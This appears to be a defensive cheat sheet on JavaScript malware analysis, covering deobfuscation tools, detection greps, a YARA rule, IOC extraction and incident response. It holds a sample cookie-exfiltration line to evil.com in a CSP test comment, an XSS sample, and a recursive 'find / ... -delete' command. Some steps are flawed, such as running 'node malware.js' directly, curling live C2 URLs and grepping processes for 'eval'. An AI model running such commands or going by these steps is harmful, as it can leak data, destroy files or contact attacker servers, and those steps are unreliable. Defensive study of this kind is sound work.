Skip to content

JavaScript Malware Analysis & Deobfuscation

A practical guide to analyzing JavaScript malware, deobfuscating malicious code, and using legitimate tools for defensive threat research.

Static Analysis Tools

ToolInstallationPurpose
js-beautifynpm install -g js-beautifyDeobfuscate and format minified JavaScript
Esprimanpm install esprimaJavaScript parser and AST generator
JSDetoxBrowser-basedOnline JavaScript deobfuscator
de4jsBrowser-basedDecode and analyze obfuscated JavaScript
JStillerynpm install jstilleryAdvanced JS deobfuscation tool
Uglify-JSnpm install uglify-jsCode minification/analysis
Node.js REPLBuilt-inExecute and test JavaScript code safely

Installation & Setup

Install Node.js and npm

# macOS with Homebrew
brew install node

# Ubuntu/Debian
sudo apt update
sudo apt install nodejs npm

# Verify installation
node --version
npm --version

Install Analysis Tools

# Install js-beautify for deobfuscation
npm install -g js-beautify

# Install JStillery for advanced analysis
npm install -g jstillery

# Install Esprima for AST analysis
npm install esprima

# Create analysis project directory
mkdir js-malware-analysis && cd js-malware-analysis
npm init -y
npm install esprima lodash

Browser-based Tools

Common Obfuscation Patterns

String Array Obfuscation

// Example: Obfuscated code with string array
var _0x4a2b = ['string', 'array', 'eval', 'function'];
var _0x3c1f = function() {
    return _0x4a2b;
};
eval(_0x3c1f()[2]); // Dynamic eval

Detection: Look for large string arrays, multiple array accesses with hex indices

Base64 Encoding

// Example: Base64 encoded payload
var payload = 'dmFyIHgdPSAxMDA7';
atob(payload); // Decode base64

Detection: Watch for atob(), btoa(), Buffer.from(), regex patterns for base64

Hex/URL Encoding

// Example: Hex-encoded strings
var s = '\x66\x65\x74\x63\x68'; // "fetch"
String.fromCharCode(102, 101, 116, 99, 104); // "fetch"

Detection: Search for \x sequences, fromCharCode(), charCodeAt()

DOM-based XSS Malware

// Example: DOM manipulation for injection
document.body.innerHTML = '<img src=x onerror="alert(1)">';
eval(userInput);
setTimeout(maliciousCode, 1000);

Red flags: innerHTML, eval(), Function(), setTimeout(), setInterval(), event handlers

Static Deobfuscation Techniques

Using js-beautify

# Beautify minified JavaScript from file
js-beautify obfuscated.js > beautified.js

# Beautify with specific indentation
js-beautify --indent-size 2 obfuscated.js

# Beautify from stdin
cat obfuscated.js | js-beautify

# Output as JSON
js-beautify --output beautified.json obfuscated.js

Manual Deobfuscation with Node.js

// Save as analyze.js
const fs = require('fs');

// Read obfuscated file
const code = fs.readFileSync('malware.js', 'utf8');

// Step 1: Replace common obfuscation patterns
let cleaned = code.replace(/\\x([0-9A-Fa-f]{2})/g, (match, hex) => {
  return String.fromCharCode(parseInt(hex, 16));
});

// Step 2: Decode base64 strings
cleaned = cleaned.replace(/'([A-Za-z0-9+/=]+)'/g, (match, b64) => {
  try {
    return "'" + Buffer.from(b64, 'base64').toString() + "'";
  } catch (e) {
    return match;
  }
});

console.log(cleaned);

// Run with: node analyze.js

Extract URLs from Obfuscated Code

# Search for common URL patterns
grep -oE '(https?://|ftp://)[^\s"<>]+' malware.js

# Extract domains only
grep -oE '[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+' malware.js

# Find eval/exec patterns
grep -E 'eval\(|Function\(|setTimeout\(|setInterval\(' malware.js

AST Analysis with Esprima

// Save as ast_analyze.js
const esprima = require('esprima');
const fs = require('fs');

const code = fs.readFileSync('malware.js', 'utf8');
const ast = esprima.parse(code);

// Find all function calls
function findCalls(node) {
  if (node.type === 'CallExpression') {
    if (node.callee.name) {
      console.log('Function call:', node.callee.name);
    }
  }
  for (let key in node) {
    if (typeof node[key] === 'object' && node[key] !== null) {
      findCalls(node[key]);
    }
  }
}

findCalls(ast);

// Run with: node ast_analyze.js

Dynamic Analysis Techniques

Sandboxed Execution Environment

# Create isolated Node.js environment for testing
node --check malware.js  # Syntax check without execution

# Run code with limited access
node --eval "const code = require('fs').readFileSync('sample.js', 'utf8'); console.log(code.substring(0, 500));"

# Debug mode with V8 inspector
node --inspect-brk malware.js  # Debugger listens on localhost:9229
# Then open: chrome://inspect

Proxy Analysis with Burp Suite

# Intercept browser JavaScript requests
# 1. Configure Burp Suite as proxy
# 2. Navigate to target site
# 3. Right-click JS request > Send to Repeater
# 4. Modify and execute with payload

# Export collected scripts
# In Burp: Issues > Export issues > save malicious scripts

Browser Console Inspection

// Common malicious code detection in console:

// Monitor eval() calls
const originalEval = eval;
eval = function(code) {
  console.warn('EVAL CALLED WITH:', code);
  return originalEval(code);
};

// Monitor DOM manipulation
const originalInnerHTML = Object.getOwnPropertyDescriptor(HTMLElement.prototype, 'innerHTML');
Object.defineProperty(HTMLElement.prototype, 'innerHTML', {
  set: function(value) {
    console.warn('innerHTML modified:', value);
    return originalInnerHTML.set.call(this, value);
  }
});

// Monitor fetch calls
const originalFetch = window.fetch;
window.fetch = function(...args) {
  console.warn('FETCH TO:', args[0]);
  return originalFetch.apply(this, args);
};

Extract Network Calls

# Capture network traffic with tcpdump
sudo tcpdump -i any -A -s 0 'tcp port 80 or tcp port 443' | grep -v 'ack' | head -20

# Monitor HTTP/HTTPS with mitmproxy
mitmproxy -p 8080  # Intercept and inspect all traffic

# Analyze with Wireshark
wireshark  # GUI network analyzer

Threat Intelligence Integration

Check Against Known Malware Databases

# VirusTotal API - check file hash
curl -X GET "https://www.virustotal.com/api/v3/files/SHA256_HASH" \
  -H "x-apikey: YOUR_API_KEY"

# AlienVault OTX - query indicators
curl https://otx.alienvault.com/api/v1/indicators/url/YOUR_URL/general

# AbuseIPDB - check malicious IPs
curl -X GET 'https://api.abuseipdb.com/api/v2/check' \
  -d 'ipAddress=IP_ADDRESS' \
  -H 'Key: YOUR_API_KEY' \
  -H 'Accept: application/json'

Extract IOCs (Indicators of Compromise)

# Extract all URLs from JavaScript
grep -oE '(https?://|ftp://)[a-zA-Z0-9._/?=#&+-]+' malware.js | sort -u

# Find IP addresses
grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' malware.js

# Find email addresses
grep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' malware.js

# Find command and control domains
grep -iE '(c2|command|control|beacon|callback)' malware.js | head -20

Create Indicators of Compromise (IOC) Report

{
  "file_hash_md5": "hash_value",
  "file_hash_sha256": "hash_value",
  "urls": ["http://malicious.com/payload"],
  "ips": ["192.168.1.100"],
  "domains": ["evil.ru", "payload.net"],
  "emails": ["attacker@evil.ru"],
  "detection_time": "2025-03-30T12:00:00Z",
  "malware_family": "Trojan.JS.Stealer",
  "severity": "high"
}

Common Analysis Workflows

Quick Analysis Workflow

#!/bin/bash
# analyze_sample.sh - Quick malware analysis script

SAMPLE="$1"

echo "[*] Analyzing: $SAMPLE"

# Step 1: File type check
echo "[+] File type:"
file "$SAMPLE"

# Step 2: Beautify
echo "[+] Beautifying code..."
js-beautify "$SAMPLE" > "${SAMPLE}.beautified.js"

# Step 3: Extract URLs
echo "[+] Extracting URLs:"
grep -oE '(https?://|ftp://)[^\s"<>]+' "$SAMPLE" | sort -u

# Step 4: Find dangerous patterns
echo "[+] Dangerous patterns found:"
grep -E 'eval\(|Function\(|innerHTML|appendChild|XMLHttpRequest' "$SAMPLE" | head -10

# Step 5: Extract strings
echo "[+] Strings (first 50):"
strings "$SAMPLE" | head -50

echo "[+] Analysis complete. Beautified file saved to: ${SAMPLE}.beautified.js"

Deep Inspection Workflow

#!/bin/bash
# deep_analysis.sh - Comprehensive malware analysis

SAMPLE="$1"
REPORT_DIR="analysis_report_$(date +%Y%m%d_%H%M%S)"

mkdir -p "$REPORT_DIR"

# 1. Hash the sample
echo "[+] Computing hashes..."
md5sum "$SAMPLE" > "$REPORT_DIR/hashes.txt"
sha256sum "$SAMPLE" >> "$REPORT_DIR/hashes.txt"

# 2. Deobfuscate
js-beautify "$SAMPLE" > "$REPORT_DIR/beautified.js"

# 3. Extract all indicators
echo "[+] Extracting indicators..."
{
  echo "=== URLS ==="
  grep -oE '(https?://|ftp://)[^\s"<>]+' "$SAMPLE" | sort -u
  echo ""
  echo "=== IP ADDRESSES ==="
  grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' "$SAMPLE" | sort -u
  echo ""
  echo "=== DOMAINS ==="
  grep -oE '[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+' "$SAMPLE" | sort -u
} > "$REPORT_DIR/indicators.txt"

# 4. Analyze AST
node -e "
const fs = require('fs');
const code = fs.readFileSync('$SAMPLE', 'utf8');
try {
  const esprima = require('esprima');
  const ast = esprima.parse(code);
  console.log(JSON.stringify(ast, null, 2));
} catch (e) {
  console.log('AST parsing failed:', e.message);
}
" > "$REPORT_DIR/ast.json" 2>&1

# 5. Generate report
echo "[+] Report generated in: $REPORT_DIR"
ls -lah "$REPORT_DIR"

Signature-based Detection

# Create simple YARA rule for JS malware
cat > js_malware.yar << 'EOF'
rule suspicious_javascript {
    meta:
        description = "Detects suspicious JavaScript patterns"
        author = "Analyst"
    strings:
        $eval = "eval("
        $func = "Function("
        $innerHTML = "innerHTML"
        $fetch = "fetch("
        $setTimeout = "setTimeout("
        $baseurl = "http://" nocase
    condition:
        any of ($eval, $func, $innerHTML) and any of ($fetch, $baseurl)
}
EOF

# Install YARA
sudo apt-get install yara

# Scan with YARA
yara js_malware.yar malware.js

Advanced Deobfuscation Techniques

String Array Reconstruction

// Save as reconstruct_strings.js
const fs = require('fs');

const code = fs.readFileSync('obfuscated.js', 'utf8');

// Find string array definition
const arrayMatch = code.match(/var\s+\w+\s*=\s*\[(.*?)\]/s);
if (arrayMatch) {
  // Parse the array
  const strings = arrayMatch[1].split(',').map(s => {
    return s.trim().slice(1, -1); // Remove quotes
  });

  console.log('Extracted strings:');
  strings.forEach((str, i) => {
    console.log(`[${i}]: ${str}`);
  });
}

Common Obfuscator Patterns

# Detect obfuscator.io pattern
grep -l "obfuscator" malware.js

# Detect JSFuck or similar
grep -E '!!.*?\[\].*?\{\}' malware.js

# Detect Beautified obfuscation
grep -E '_0x[a-f0-9]+' malware.js

# Detect base64 payloads
grep -E 'atob|Buffer\.from.*base64' malware.js

Context-Aware Deobfuscation

// Simulate obfuscated function calls safely
const sandbox = {
  console: console,
  String: String,
  parseInt: parseInt,
  atob: atob,
  decodeURIComponent: decodeURIComponent,
  // Add more safe functions as needed
};

const obfuscatedCode = `
var result = atob('aGVsbG8gd29ybGQ=');
console.log(result);
`;

// Execute in safer context (Node.js only)
const vm = require('vm');
const context = vm.createContext(sandbox);
vm.runInContext(obfuscatedCode, context);

Remediation & Defense

Content Security Policy (CSP) Analysis

# Extract CSP from web responses
curl -I https://example.com | grep -i "Content-Security-Policy"

# Test CSP violations
# In browser console:
# fetch('http://evil.com/steal', {method: 'POST', body: document.cookie})
# Should be blocked if CSP is properly configured

Securing Web Applications

// Prevent inline script execution
const config = {
  'script-src': ["'self'", 'https://trusted-cdn.com'],
  'object-src': ["'none'"],
  'base-uri': ["'self'"],
  'form-action': ["'self'"],
  'frame-ancestors': ["'none'"],
  'upgrade-insecure-requests': []
};

// Always sanitize user input
const sanitizeInput = (input) => {
  const div = document.createElement('div');
  div.textContent = input;  // Never innerHTML
  return div.innerHTML;
};

// Use DOMPurify for HTML sanitization
// <script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.0/dist/purify.min.js"></script>
const clean = DOMPurify.sanitize(userContent);

Incident Response Steps

# 1. Isolate affected systems
sudo iptables -A INPUT -j DROP  # Block all inbound

# 2. Preserve evidence
tar czf evidence_$(date +%s).tar.gz /var/log /home /tmp

# 3. Kill malicious processes
ps aux | grep -E 'eval|setTimeout|fetch'

# 4. Remove malicious files
find / -name "*malware*" -type f -delete

# 5. Scan system for backdoors
sudo aide --check

# 6. Review web server logs
tail -f /var/log/apache2/access.log | grep -E 'eval|shell|cmd'

Environment Setup for Analysis

VariablePurposeExample
NODE_ENVSet analysis environmentNODE_ENV=production node malware.js
NODE_PATHModule search pathNODE_PATH=/usr/lib/node_modules
DEBUGEnable debug outputDEBUG=* node analyze.js
PROXYSet proxy for network analysisPROXY=http://localhost:8080
VIRUSTOTAL_API_KEYVirusTotal API authenticationexport VIRUSTOTAL_API_KEY=your_key
BURP_PROXYBurp Suite proxyhttp://localhost:8080

Set up analysis environment

# Create isolated workspace
mkdir -p ~/malware-analysis/{samples,reports,tools}
cd ~/malware-analysis

# Initialize Node.js project
npm init -y
npm install esprima lodash

# Create .env file for sensitive data
cat > .env << 'EOF'
VIRUSTOTAL_API_KEY=your_api_key_here
ABUSE_IP_DB_KEY=your_key_here
PROXY=http://localhost:8080
EOF

# Load environment
source .env

Analysis Configuration

Create Analysis Profile

# ~/.malware-analysis/config.yaml
analysis:
  name: "JavaScript Malware Analysis"
  version: "1.0"

  # Static analysis options
  static:
    beautify: true
    extract_strings: true
    extract_urls: true
    detect_patterns: true

  # Dynamic analysis options
  dynamic:
    sandbox_enabled: true
    max_memory: "512M"
    timeout: "30s"

  # Threat intelligence options
  intel:
    virustotal_enabled: true
    abuse_ipdb_enabled: true
    alienvault_enabled: true

  # Output options
  output:
    format: "json"
    save_beautified: true
    generate_report: true
    report_dir: "./reports"

  # Security options
  security:
    disable_network: true
    disable_file_access: true
    disable_eval: true

Sample Analysis Config

# Create sample scanning configuration
cat > scan-config.json << 'EOF'
{
  "enabled_scans": [
    "url_extraction",
    "pattern_detection",
    "obfuscation_analysis",
    "network_indicators"
  ],
  "dangerous_patterns": [
    "eval(",
    "Function(",
    "innerHTML",
    "appendChild",
    "XMLHttpRequest",
    "fetch(",
    "setTimeout",
    "setInterval"
  ],
  "safe_execution": true,
  "timeout_ms": 30000
}
EOF

Real-World Analysis Examples

Example 1: Analyzing Obfuscated Stealer

# Download suspicious script
wget http://suspicious-domain.com/script.js

# Step 1: Check file type
file script.js

# Step 2: Extract initial strings
strings script.js | head -20

# Step 3: Beautify
js-beautify script.js > script.beautified.js

# Step 4: Analyze the beautified version
grep -E '(base64|atob|fetch|XMLHttpRequest)' script.beautified.js

# Step 5: Check VirusTotal
wget https://www.virustotal.com/gui/search/$(sha256sum script.js | awk '{print $1}')

Example 2: Detecting XSS Payload

# Find webpage with suspected XSS
wget https://vulnerable-app.com/page.html

# Extract all JavaScript
grep -o '<script[^>]*>.*</script>' page.html > scripts.txt

# Analyze each script
for script in scripts.txt; do
  js-beautify "$script" | grep -E 'innerHTML|appendChild|eval'
done

Example 3: Extracting Command & Control

# Analyze script for C2 communication
cat malware.js | grep -oE '(https?://|ws://)[^\s"]+' > c2_urls.txt

# Check each URL
while read url; do
  echo "Testing: $url"
  curl -v "$url" 2>&1 | head -20
done < c2_urls.txt

# Verify with threat intelligence
for url in $(cat c2_urls.txt); do
  curl -s "https://urlhaus-api.abuse.ch/v1/urls/query/?search=$url" | jq .
done

Example 4: Batch Analysis Script

#!/bin/bash
# batch_analyze.sh - Analyze multiple samples

SAMPLE_DIR="./samples"
REPORT_DIR="./reports_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$REPORT_DIR"

for sample in "$SAMPLE_DIR"/*.js; do
  echo "[*] Analyzing: $sample"

  filename=$(basename "$sample")

  # Beautify
  js-beautify "$sample" > "$REPORT_DIR/${filename}.beautified.js"

  # Extract indicators
  {
    echo "=== File: $filename ==="
    echo "=== SHA256 ==="
    sha256sum "$sample"
    echo ""
    echo "=== URLs ==="
    grep -oE 'https?://[^\s"<>]+' "$sample" | sort -u
    echo ""
    echo "=== Dangerous Patterns ==="
    grep -E 'eval|Function|innerHTML|fetch' "$sample" | head -5
  } >> "$REPORT_DIR/summary.txt"
done

echo "[+] Analysis complete: $REPORT_DIR"

Best Practices for Malware Analysis

Safe Analysis

  • Always analyze in isolated/sandboxed environments
  • Never execute unknown JavaScript directly
  • Use VM snapshots for malware testing
  • Disable network access during analysis
  • Run analysis with minimal privileges
  • Document all findings with timestamps
  • Preserve original samples with checksums
  • Use version control for analysis notes

Evidence Preservation

  • Create write-protected copies of samples
  • Document chain of custody
  • Maintain detailed analysis logs
  • Preserve network traffic captures
  • Store IRC/C2 communication logs
  • Back up findings separately
  • Use immutable storage when possible
  • Archive old analysis reports

Threat Intelligence

  • Share IOCs with security community
  • Report to abuse contacts
  • Contribute to public databases (VirusTotal)
  • Track malware families and variants
  • Monitor for similar samples
  • Document attack patterns
  • Correlate with known campaigns
  • Update detection signatures
  • Only analyze samples you have authorization for
  • Follow responsible disclosure practices
  • Report serious threats to authorities
  • Respect intellectual property rights
  • Document analysis for legal proceedings
  • Maintain analyst confidentiality
  • Know local computer fraud laws
  • Get written authorization before testing systems

Resources

Deobfuscation Tools

Analysis Platforms

Static Analysis

Dynamic Analysis

Learning Resources

Community & Forums


Last updated: 2026-03-30